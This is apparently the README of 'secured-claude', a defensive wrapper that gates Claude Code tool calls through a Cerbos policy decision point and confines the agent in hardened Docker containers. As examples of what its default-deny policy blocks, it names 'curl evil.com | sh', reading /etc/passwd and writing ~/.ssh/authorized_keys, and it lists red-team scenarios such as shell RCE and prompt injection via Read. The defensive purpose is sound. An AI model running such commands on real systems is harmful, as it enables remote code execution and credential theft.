ββββββββββββββββ ββββββββββ ββββββββββ βββββββββββββββ
βββββββββββββββββββββββββββ βββββββββββββββββββββββββββ
ββββββββββββββ βββ βββ βββββββββββββββββ βββ βββ
ββββββββββββββ βββ βββ βββββββββββββββββ βββ βββ
ββββββββββββββββββββββββββββββββββββ βββββββββββββββββββ
ββββββββββββββββ βββββββ βββββββ βββ ββββββββββββββββββ
ββββββββββ ββββββ βββ ββββββββββ ββββββββ
βββββββββββ βββββββββββ βββββββββββββββββββ
βββ βββ βββββββββββ ββββββ βββββββββ
βββ βββ βββββββββββ ββββββ βββββββββ
βββββββββββββββββββ ββββββββββββββββββββββββββββ
ββββββββββββββββββ βββ βββββββ βββββββ ββββββββ
The comfort of Claude Code, secured by design.
secured-claude is a Python wrapper around Anthropic Claude Code that gates every tool call (Read / Write / Edit / Bash / WebFetch / WebSearch / MCP / Task) through a Cerbos policy decision point and persists every approval in an append-only SQLite audit log.
Concrete use case : a developer on their laptop wants the productivity of Claude Code (TUI, agentic loop, MCP) without giving the agent silent access to ~/.ssh/, ~/.aws/, the rest of their HOME, the network, or the shell. They install secured-claude, run secured-claude up, and from there secured-claude run "..." feels like claude itself β except every tool intent is validated against policy, and a denied request is visible in the audit log within milliseconds.
Scope : single-user dev tool. One developer, one laptop, one broker on 127.0.0.1:8765. Not a SaaS gateway, not a multi-tenant federation, not enterprise PKI infrastructure. The 4 things below are the load-bearing reasons this project is shaped the way it is :
- No silent exfiltration. The default-deny policy catches
Read /etc/passwd,Bash "curl evil.com | sh",Write ~/.ssh/authorized_keys, etc. before they execute, not after. Mapped to OWASP A01:2021 (Broken Access Control). - Complete audit trail. Every tool call (allowed or denied) is logged with a SHA-256 hash chain (ADR-0024) so post-incident review can detect tampering. Mapped to OWASP A09:2021 (Logging Failures).
- Policy as code. Cerbos YAML lives in
policies/, lintable viacerbos compile, version-controlled in git. The user can read and review the policy without reading Python source. - Defense in depth without ceremony. Even if the policy gate is bypassed (compromised hook, future Claude Code CVE), the agent is in a hardened Docker container with workspace-only filesystem mount, network egress allowlist, DNS allowlist, and
cap_drop=ALLβ bounded blast radius without operator-side configuration.
The project deliberately uses 6 load-bearing components ; each addresses a specific reason that simpler alternatives fail. The full justifications live in the ADRs (every load-bearing decision has an ADR per the Nygard format) ; the table below is the executive summary :
| Component | Role | Why this and not the obvious alternative |
|---|---|---|
| Claude Code's PreToolUse hook (ADR-0002) | Single interception point for every tool call, before execution | A network-side proxy (mitmproxy, etc.) only sees HTTP β misses Bash and MCP. Patching the Claude Code binary breaks on every upstream release. The native hook is Anthropic-supported, surface-uniform, and sub-50 ms p99. |
| Cerbos PDP (ADR-0001) | Evaluates policy decisions outside the broker process | A Python-coded allowlist mixes policy with code and can't be reviewed by a non-Python security person. Cerbos is CNCF-Sandbox, lintable (cerbos compile), supports signed policy bundles, and emits structured decision logs. The security team can read the YAML without reading the broker. |
| FastAPI broker on 127.0.0.1:8765 (ADR-0006) | Translates hook payloads β Cerbos requests β audit-log writes | If the broker lived inside the Claude Code container, a compromised LLM could tamper with the validator. The host-side broker keeps the trust boundary explicit : agent inside container = untrusted ; broker outside = trusted. Loopback bind = the trust boundary IS network-isolation. |
| Append-only SQLite audit log (ADR-0004, ADR-0024) | Persists every decision with a tamper-evident SHA-256 chain | A JSON-lines log file is human-readable but trivially editable. SQLite is durable, queryable, single-file, cross-platform, and supports a trigger that REJECTS UPDATE / DELETE β guaranteeing append-only at the DB level. |
| Docker containerisation (ADR-0005) | Confines the agent to /workspace/ ; bounds blast radius if the policy gate is bypassed |
Host-installed Claude Code can read the entire HOME on the first approved Bash command. Containerised, even an approved git status only sees /workspace/. v0.4 made this a multi-arch (amd64 + arm64) cosign-signed image (ADR-0028) for Apple Silicon parity. |
| L2 + L3 + L4 confinement (ADR-0019, ADR-0020, ADR-0022) | tinyproxy (egress allowlist) + dnsmasq (DNS allowlist) + cap_drop/seccomp/read-only | If the L1 hook is bypassed, the agent still can't reach evil.com (egress denies CONNECT), can't resolve evil.com (DNS returns REFUSED), and can't escalate (cap_drop ALL). Independent confinement per ADR-0022 β bypassing one doesn't bypass the others. |
Read ADR-0022 before evaluating "is this defense in depth or marketing" : we explicitly distinguish the 1 intent layer (L1, the hook + Cerbos β the only layer that understands the agent's intent) from the 3 confinement layers (L2/L3/L4 β they bound blast radius but don't replace L1's semantic decisions). That ADR superseded the earlier v0.1 framing of "4 independent layers" which was overstated.
ββββββββββββββββββββββββββββ HOST βββββββββββββββββββββββββββββ ββββββββββββ DOCKER ββββββββββββ
β β β β
β ββββββββββββββββββββ ββββββββββββββββββββ β β βββββββββββββββββββββββ β
β β secured-claude β β FastAPI broker β POST /check β β β cerbos/cerbos β β
β β (CLI, Python) ββββΆβ 127.0.0.1:8765 β ββββββββββββββββΌββββΌβββ HTTP :3592 β β
β β orchestrator + β β + audit DB β β β β policies/*.yaml β β
β β docker SDK β β + Prometheus β β β βββββββββββββββββββββββ β
β ββββββββββββββββββββ ββββββββββββββββββββ β β β
β β² spawns β² β β βββββββββββββββββββββββ β
β β β β β β secured-claude/ β β
β β β HTTP CheckResources β β β claude-code β β
β β βΌ β β β /workspace mounted β β
β ββββββββββββββββββββ β β β PreToolUse hook ββββΌββββΆβ
β β user terminal β β β βββββββββββββββββββββββ β
β ββββββββββββββββββββ β β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
Flow of one tool call :
- The user runs
secured-claude run "refactor src/foo.py". The CLI (orchestrator) ensures the cerbos + claude-code containers are up, then attaches a TTY to the agent container. - Inside the agent container, Claude Code decides to invoke
Edit src/foo.py. - The PreToolUse hook fires, executes the bundled
secured-claude-hookPython binary, which POSTs{tool, tool_input, principal_id, session_id}to the broker onhost.docker.internal:8765. - The broker receives the request, maps
(Edit, file_path=src/foo.py)β Cerbos resource(file, edit, attr={path}), sends aCheckResourcesrequest to the cerbos container. - Cerbos evaluates
policies/filesystem.yamlagainst the request, returnsEFFECT_ALLOWorEFFECT_DENY. - The broker writes the decision into the SQLite audit log (with SHA-256 hash chaining), then returns the result to the hook.
- The hook prints the standard Claude Code hook JSON (
{"permissionDecision": "allow"|"deny", "permissionDecisionReason": "..."}) and exits. Claude Code either runs the edit or surfaces the deny reason to the LLM, which can then ask a different question.
End-to-end p99 latency budget : 50 ms (ADR-0002 target). Typical observed : 5-15 ms on cache-warm Cerbos.
The full runtime decomposition lives in src/secured_claude/ :
| File | Responsibility |
|---|---|
cli.py |
argparse-based subcommand routing : up, down, run, audit, audit-demo, policy lint/stats/template, principal validate, audit-anchor, doctor |
orchestrator.py |
Docker SDK lifecycle (pull, up, down, exec) + cross-platform path handling |
gateway.py |
FastAPI /check + /health + /metrics route, toolβCerbos-resource mapping |
cerbos_client.py |
Thin requests wrapper for /api/check/resources |
principals.py |
YAMLPrincipalProvider + HTTPPrincipalProvider (with TTL cache + bearer + mTLS + max-stale-age + per-issuer config) |
oidc.py |
OIDCVerifier + MultiIssuerVerifier for JWT validation against IdP JWKS |
metrics.py |
Prometheus counters + histograms (used for curl /metrics diagnostics, not SLO infra) |
store.py |
SQLite append-only audit log with SHA-256 hash chain + external anchor commands |
hook.py |
The PreToolUse hook entry point bundled into the agent container |
audit.py + audit_demo.py |
audit query command + 35-scenario red-team replay battery |
v0.9.0 β every claim below is backed by an artifact you can re-run yourself. Don't trust the README, run the verifications.
git clone https://gitlab.com/benoit.besson/secured-claude.git
cd secured-claude
uv sync --all-extras
# 1. Static gates (~20 s warm) β runs the same 13-layer pipeline as CI
bash bin/security-scans.sh
# β ruff/mypy/bandit clean ; pip-audit/grype/trivy 0 CVE ;
# gitleaks 0 ; hadolint/shellcheck/cerbos compile clean ;
# pytest 321/321, coverage 91.27 % ; SBOM 140 packages.
# 2. Live policy gate (~30 s) β boots a real Cerbos PDP and replays
# 28 red-team + 7 happy-path scenarios end-to-end (35 total) :
bash bin/security-audit.sh
# β Verdict β
PASS (35/35) β every red-team DENY, every happy-path ALLOW.
# 3. Last green CI pipeline on macbook-local runner :
# https://gitlab.com/benoit.besson/secured-claude/-/pipelines/2487406196
# 14/14 jobs across lint / test / security / build, ~9 min wall.
# 4. Runtime end-to-end (needs ANTHROPIC_API_KEY or CLAUDE_CODE_OAUTH_TOKEN) :
secured-claude up
docker exec secured-claude-agent claude -p "Read /etc/passwd"
# β claude attempts the Read tool, the PreToolUse hook posts to the
# broker, Cerbos returns DENY, claude responds gracefully :
# "A hook in your Claude Code configuration is blocking the Read
# tool from accessing /etc/passwd ..."
secured-claude audit --denied
# β the DENY decision is visible in the SQLite audit log,
# 5 ms duration, with cerbos_reason captured.| Claim | Where | How to check |
|---|---|---|
| Cerbos PDP gating every tool call | policies/*.yaml, src/secured_claude/cerbos_client.py, src/secured_claude/gateway.py |
bin/security-audit.sh (26/26) |
| FastAPI broker on host:8765 | src/secured_claude/gateway.py (75 lines, 100 % covered) |
tests/test_gateway.py (8 tests) |
| Append-only SQLite audit | src/secured_claude/store.py (85 lines, 98 % covered) |
tests/test_store.py includes UPDATE/DELETE refused by trigger |
| Claude Code container hardened | Dockerfile.claude-code + docker-compose.yml (non-root UID 1001, read-only cerbos rootfs, cap_drop ALL, healthcheck) |
secured-claude doctor, secured-claude up |
| 48 ADRs justifying every decision | docs/adr/0000-template.md + 0001..0047-*.md |
ls docs/adr/ |
| GitLab CI green on macbook-local runner | .gitlab-ci.yml + .gitlab-ci/{lint,test,security,build,publish,release}.yml |
pipeline #2487406196 |
| 7-layer security pipeline | bin/security-scans.sh + pyproject.toml [tool.bandit] |
bash bin/security-scans.sh |
| SBOM (SPDX 2.3) per release | .gitlab-ci/security.yml::security:sbom |
release artifact sbom.spdx.json |
A senior security reviewer should read this table before trusting any "defense-in-depth" claim. v0.2.x ships L1 + L2 + L3-DNS enforced (L2 closed via tinyproxy egress sidecar in ADR-0019, DNS leak closed via dnsmasq in ADR-0020). The remaining gaps below are documented ahead of being live.
| Item | v0.2 reality | When it goes live |
|---|---|---|
| Audit log tamper-evidence at FS layer | v0.3 closed in-DB tamper-evidence (ADR-0024) β SHA-256 chain over each row ; audit-verify exits non-zero on chain break. v0.4 closes the rm approvals.db gap (ADR-0029) β secured-claude audit-anchor emits a JSON commit to the latest row hash that the operator stores externally (S3 with object-lock, RFC 3161 TSA, Rekor, GPG-signed gitβ¦) ; audit-verify-anchor detects post-anchor tampering OR file deletion. |
Done in v0.3 (in-DB) + v0.4 (external) |
| Multi-principal Cerbos roles | v0.3.1 closed the directory side (ADR-0027) β config/principals.yaml maps principal_id to roles + attributes, broker resolves at request time so derived_roles.yaml (trusted_agent, auditor) activate end-to-end. v0.9.0 closes the agent side (ADR-0047) β secured-claude run --principal <id> and exec --principal <id> thread the env override through docker compose exec -e ... so an operator picks the principal per-session without restarting the container. secured-claude principal list surfaces the catalogue. |
Done in v0.3.1 (directory) + v0.9.0 (session activation) |
| Runtime smoke in CI (image wiring + real LLM) | v0.3.1 closed the wiring smoke (ADR-0026) β smoke:runtime pulls the 3 just-built images on every tag/main pipeline and verifies wiring without API burn. v0.4 closes the real-LLM smoke (ADR-0030) β smoke:llm-real is a manual-trigger job on every tag pipeline ; operator sets ANTHROPIC_API_KEY_SMOKE (protected, masked) and clicks to run. Full-stack (broker + sidecars + Cerbos) smoke deferred to v0.4.1 (needs broker containerisation). |
Done in v0.3.1 (wiring) + v0.4 (real-LLM, manual) |
| read_only on egress-proxy / dns-filter sidecars | v0.3 closes this (ADR-0025) β dedicated Dockerfile.dns-filter + Dockerfile.egress-proxy, packages baked in, no apk-install-at-boot. read_only: true is back, sidecars run as nobody / tinyproxy with minimal caps. v0.3.1 closes the cosign signing β both sidecar images now signed via the keyless OIDC pipeline (ADR-0016) alongside the agent. |
Done in v0.3 (image-level + non-root) + v0.3.1 (cosign-signed) |
| Multi-arch image (linux/amd64 + linux/arm64 native) | v0.4 closes this (ADR-0028) β per-arch Kaniko builds (amd64 + arm64) on the macbook-local runner + crane index append combines into a manifest-list under the canonical tag. Apple Silicon / AWS Graviton users get native arm64 ; amd64 users get native amd64. Cosign signs the index ; the signature covers both arches per cosign-on-manifest-list semantics. |
Done in v0.4 |
| Hook coverage of every Claude Code tool | matcher: "*" in PreToolUse hooks every tool we know about (Read/Write/Edit/Bash/WebFetch/WebSearch/MCP/Task). Anthropic adds tools faster than we audit ; a new tool shipping in a future Claude Code release would default to ALLOW until we map it. Mitigated by the broker's unknown_tool catch-all (kind=unknown_tool action=invoke) which has no policy rule β DENY by Cerbos default ; verified by tests/test_gateway.py::test_map_unknown_tool_falls_back. |
Continuous β Renovate bumps Claude Code, audit-demo adds scenarios per new tool |
- Kernel CVEs / 0-days β Linux namespace isolation is the v0.1 boundary ; gVisor or Firecracker tracked v0.3+
- Side-channel attacks (Spectre/Meltdown class)
- Physical adversary at the developer machine
- Compromise of
cerbos/cerbosupstream image β mitigated by digest pinning ; residual risk acknowledged
Per ADR-0022 β only L1 understands the agent's intent. L2/L3/L4 are confinement layers that bound the blast radius if L1 is bypassed but don't replace L1's semantic decisions.
| Role | Layer | Designed | Enforced in v0.2 | Tested in v0.2 |
|---|---|---|---|---|
| Intent | L1 β PreToolUse hook + Cerbos PDP (0001, 0002) | Yes | Yes | bin/security-audit.sh β 26/26 PASS + runtime smoke transcript |
| Confinement | L2 β Network egress allowlist (ADR-0019) | Yes | Yes β tinyproxy FilterDefaultDeny ; CONNECT to non-allowlisted host returns 403 |
End-to-end : curl -x http://172.30.42.4:3128 https://evil.com β CONNECT tunnel failed, response 403 (proof in ADR-0019) |
| Confinement | L3 β DNS allowlist (ADR-0020) | Yes | Yes β dnsmasq no-resolv ; nslookup evil.com β REFUSED |
End-to-end : nslookup evil.com 172.30.42.3 β REFUSED (proof in ADR-0020) |
| Confinement | L3 β Filesystem confinement | Yes | Yes β only /workspace mounted RW from host |
Inferred ; no explicit test that /Users/<me>/.ssh is unreachable |
| Confinement | L4 β Container hardening | Yes | Yes for the agent : non-root + cap_drop ALL + seccomp default + read-only rootfs + cgroup mem_limit: 4g ; sidecars partial (read_only deferred β see "configured but NOT yet enforced" above) |
Inferred ; no explicit test (docker inspect would prove flags are set) |
Reading : v0.2 holds L1 (intent) + L2 (egress confinement) + L3 (DNS + FS confinement) + partial L4 (container hardening). Per
ADR-0022, only L1
sees the agent's intent β it decides "this Read of /etc/passwd is
denied because the path matches a deny-list pattern." L2/L3/L4 are
confinement layers : they don't understand intent, but they bound
the blast radius if L1 is bypassed (a compromised Claude Code binary
can only reach api.anthropic.com via L2, can only resolve
*.anthropic.com via L3-DNS, can only read paths mounted into the
container via L3-FS, and runs without privileges via L4). Compromise
of L1 is therefore bounded, not catastrophic β but L2/L3/L4 don't
replace L1's semantic decisions. The remaining v0.3 gaps
(FS-tamper-evident audit log, multi-principal, runtime-smoke-in-CI,
read_only on sidecars) are documented above.
Full honest limits in the residual-risks table in docs/security/threat-model.md.
What this project demonstrates mastery of
Honest framing :
secured-claudeis a single-user dev tool β one developer on their laptop, loopback broker, no operator team. The bullets below describe the load-bearing security properties for that use case. v0.7.x added some optional extension points (multi-issuer, mTLS, per-issuer config, observability histograms) β those are documented in their ADRs with explicit "Scope honesty" addenda noting they're speculative for the primary use case ; operators with the rare deployment that needs them have them, the rest ignore them.
- π SΓ©curitΓ© β defense-in-depth : 1 intent layer + 3 confinement layers (ADR-0022). L1 (PreToolUse hook + Cerbos PDP) is the semantic gate that understands the agent's intent and decides on policy. L2 (tinyproxy egress allowlist), L3 (dnsmasq DNS allowlist + workspace-only FS mount), and L4 (cap_drop + read_only + seccomp + cgroups) bound the blast radius if L1 is bypassed. Hash-chain audit log + external anchor (ADR-0024 + ADR-0029). 5 cosign-signed multi-arch images cover binary + policy bytes (ADR-0028 + ADR-0035 + ADR-0036). Optional external-IdP integration : YAML directory or HTTP fetch with TTL cache + bearer auth + stale-on-error + bounded staleness (ADR-0034 + ADR-0037 + ADR-0039), and end-to-end JWT validation against the IdP's JWKS so a malicious local process can't spoof the agent's principal_id (ADR-0038).
- π€ IA β Claude Code wrapped in a policy-gated container, every tool call (Read / Write / Edit / Bash / WebFetch / MCP / Task) intercepted via the native PreToolUse hook.
- π Architecture β Hexagonal-lite Python broker (host) + Cerbos PDP (container) + Claude Code CLI (container) ; clear trust boundary between intent (LLM) and execution (broker). 48 ADRs covering every security + operational decision (incl. ADR-0045 formally rejecting agentβbroker mTLS / background JWKS refresh / OTLP push as out-of-scope ; ADR-0046 shipping on-the-fly secret redaction for Read results in v0.8.0 ; ADR-0047 activating multi-principal sessions in v0.9.0).
- π ObservabilitΓ© β Prometheus counters + histograms at
/metrics(loopback-only) covering JWT-deny / JWKS-degraded / stale-cache / cerbos-unavailable + end-to-end + per-stage latencies (ADR-0042 + ADR-0043). Useful for "is the broker slow ?" diagnostics viacurl /metrics; the SaaS-tier SLO alert framing originally in ADR-0043 was redressed in the scope-honesty pass.- β QualitΓ© β 321 unit + integration tests, 91.27 % coverage (gate 90 %). Security audit demonstration with 28 red-team scenarios + 7 happy-paths + policy fuzz + 8 static scans, run on every release.
- π CI/CD β GitLab CI 8 stages (lint / test / security / build / smoke / publish / release), audit-demo strict gate on releases, cosign keyless signing + Syft SBOM for supply-chain provenance. Tag-pipeline hardened against Docker Hub rate limits (mirror.gcr.io) + idempotent re-tag publish (twine shell-wrap).
- βοΈ Infrastructure β Cross-platform install (Mac / Linux / Windows) via pipx + GitLab Package Registry ; Docker images pinned by digest ; native multi-arch (amd64 + arm64) per ADR-0028.
- π DevX β
secured-claudeCLI feels likeclaude(TTY preserved) ;auditsubcommand surfaces the evolving allowlist ;doctorvalidates the install end-to-end ; principal directory pluggable via env. Optional extension points (multi-issuer ALLOWLIST, mTLS on IdP fetches, per-issuer JSON config) for deployments that need them, no-op for the typical single-tenant case.
Every released vX.Y.Z carries 6 asset links on its GitLab Release page. Skip the source ; download the proof :
TAG=v0.2.1 # or whichever tag you want to audit
BASE=https://gitlab.com/benoit.besson/secured-claude
# 1. SBOM (SPDX 2.3) β what's in the image
curl -fsSL "$BASE/-/jobs/artifacts/$TAG/raw/sbom.spdx.json?job=security:sbom" \
-o sbom-$TAG.spdx.json
# Sanity check : file is not 4xx HTML, has packages
jq '.packages | length' sbom-$TAG.spdx.json # should print > 0
# 2. CVE scan (Trivy filesystem) β was it CVE-clean at release time
curl -fsSL "$BASE/-/jobs/artifacts/$TAG/raw/trivy.json?job=security:trivy" \
-o trivy-$TAG.json
jq '.Results[].Vulnerabilities | length' trivy-$TAG.json # 0 = clean
# 3. CVE cross-check (Grype) β independent verification of #2
curl -fsSL "$BASE/-/jobs/artifacts/$TAG/raw/grype.json?job=security:grype" \
-o grype-$TAG.json
# 4. Secret scan (Gitleaks) β did the release accidentally commit a secret
curl -fsSL "$BASE/-/jobs/artifacts/$TAG/raw/gitleaks.json?job=security:gitleaks" \
-o gitleaks-$TAG.json
jq 'length' gitleaks-$TAG.json # 0 = no leaks
# 5. Coverage XML β `cat coverage-$TAG.xml | xmllint --xpath ...` to read percentage
curl -fsSL "$BASE/-/jobs/artifacts/$TAG/raw/coverage.xml?job=test:py313" \
-o coverage-$TAG.xml
# 6. Image signatures β verify cosign keyless OIDC (ADR-0016) on all 3 images.
# Agent + both sidecars are signed since v0.3.1 (ADR-0025 + cosign extension).
for img in claude-code dns-filter egress-proxy; do
cosign verify \
registry.gitlab.com/benoit.besson/secured-claude/$img:$TAG \
--certificate-identity-regexp '^https://gitlab.com/benoit.besson/secured-claude' \
--certificate-oidc-issuer https://gitlab.com \
|| echo "FAIL on $img"
doneNo clone required. The links resolve to immutable CI artifacts with 1-year retention. Recipients get the same bytes you'd see at release time. Tag annotations (git show $TAG) carry the full verification log including pipeline IDs and local test pass β gh release view / glab release view surface the same.
What this defends against : "you say you have 92 % coverage but I can't verify" β here's the coverage XML. "You say there are 0 CVEs but maybe a recent CVE landed and you didn't rescan" β re-run grype against the sbom-$TAG.spdx.json today. "You say the image is signed but how do I know" β cosign verify, with no clone.
# Mac / Linux
curl -sSL https://gitlab.com/benoit.besson/secured-claude/-/raw/main/install.sh | bash
# Windows (PowerShell)
irm https://gitlab.com/benoit.besson/secured-claude/-/raw/main/install.ps1 | iex
# Then:
export ANTHROPIC_API_KEY=sk-ant-...
secured-claude up # start cerbos + claude-code containers
secured-claude run "refactor src/foo" # interactive Claude Code, every tool gated
secured-claude audit --denied # show what was blocked
secured-claude down # stop everythingHOST DOCKER (network: secured-claude-net)
ββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββ
β secured-claude (Python CLI)β β ββββββββββββββββββββββββββββββββ β
β β β β cerbos/cerbos β β
β orchestrator (docker SDK) β βββββββ β β HTTP :3592, policies/*.yaml β β
β gateway (FastAPI :8765) β β ββββββββββββββββββββββββββββββββ β
β cerbos_client β β ββββββββββββββββββββββββββββββββ β
β store (SQLite append-only)β βββββββ β β secured-claude/claude-code β β
β β β β - claude CLI β β
ββββββββββββββββββββββββββββββ β β - PreToolUse hook β host:8765 β β
β β β - /workspace mounted RW β β
user terminal β ββββββββββββββββββββββββββββββββ β
ββββββββββββββββββββββββββββββββββββββββ
Full design : see the Technical decomposition section above + the 48 ADRs.
- Threat model :
docs/security/threat-model.mdβ STRIDE table mapping each threat to which defense layer catches it. - Audit demonstration :
secured-claude audit-demo --strictruns 28 red-team scenarios + 7 happy-paths (35 total β covers FS exfil, FS inject, Shell RCE, Net exfil, MCP abuse, Path traversal, MCP poisoning, prompt-injection-via-Read, supply-chain tool-rebind) + 50+ policy fuzz variants + 8 static scans, produces a timestamped report. Required to pass before every release. - Policy as code :
policies/β Cerbos YAML, lintable viacerbos compile, signable via Cerbos signed bundles. New deployments scaffold viasecured-claude policy template developer-default --output policies/. - Audit log : SQLite append-only at
~/.local/share/secured-claude/approvals.db(Linux) /~/Library/Application Support/secured-claude/(Mac) /%LOCALAPPDATA%\secured-claude\(Windows). Tamper-evident SHA-256 hash chain (ADR-0024) + external anchor for FS-layer tamper detection (ADR-0029).
The 48 ADRs in docs/adr/ justify every load-bearing choice. Highlights :
| # | Decision | Why it matters |
|---|---|---|
| 0001 | Cerbos as PDP | CNCF, signable, lintable, security-team familiar |
| 0002 | PreToolUse hook interception | Native Claude Code mechanism β no binary patching |
| 0009 | Hook fails closed | Broker down β DENY by default, never bypass |
| 0019 | L2 tinyproxy CONNECT allowlist | Closes the v0.1 design-only L2 gap |
| 0020 | L3 dnsmasq DNS allowlist | Closes R-DNS-LEAK |
| 0022 | 1 intent layer + 3 confinement layers | Honest framing β supersedes ADR-0012 |
| 0016 | Cosign + SBOM | Provenance per OWASP A08:2021 |
| 0021 | Pin Claude Code npm + Renovate | Closes the @latest hole in ADR-0008 |
| 0046 | On-the-fly secret redaction | Closes the content-level exfil vector β secrets in Read results never reach the LLM |
| 0047 | Multi-principal session activation | secured-claude run --principal <id> per-session ; the v0.1 derived roles (trusted_agent, auditor) finally usable end-to-end |
- π¦
CHANGELOG.mdβ per-version history (each entry links to the full annotated git tag) - π€
CONTRIBUTING.mdβ how to set up the dev env, run the gates, write commits, propose ADRs - π
docs/security/β threat model, controls matrix, supply-chain story, vulnerability disclosure, evidence - π
docs/dev/β developer environment + debug recipes (e.g. agent-container hang investigation) - π
docs/adr/β 47 architecture decision records
MIT β Benoit Besson, 2026.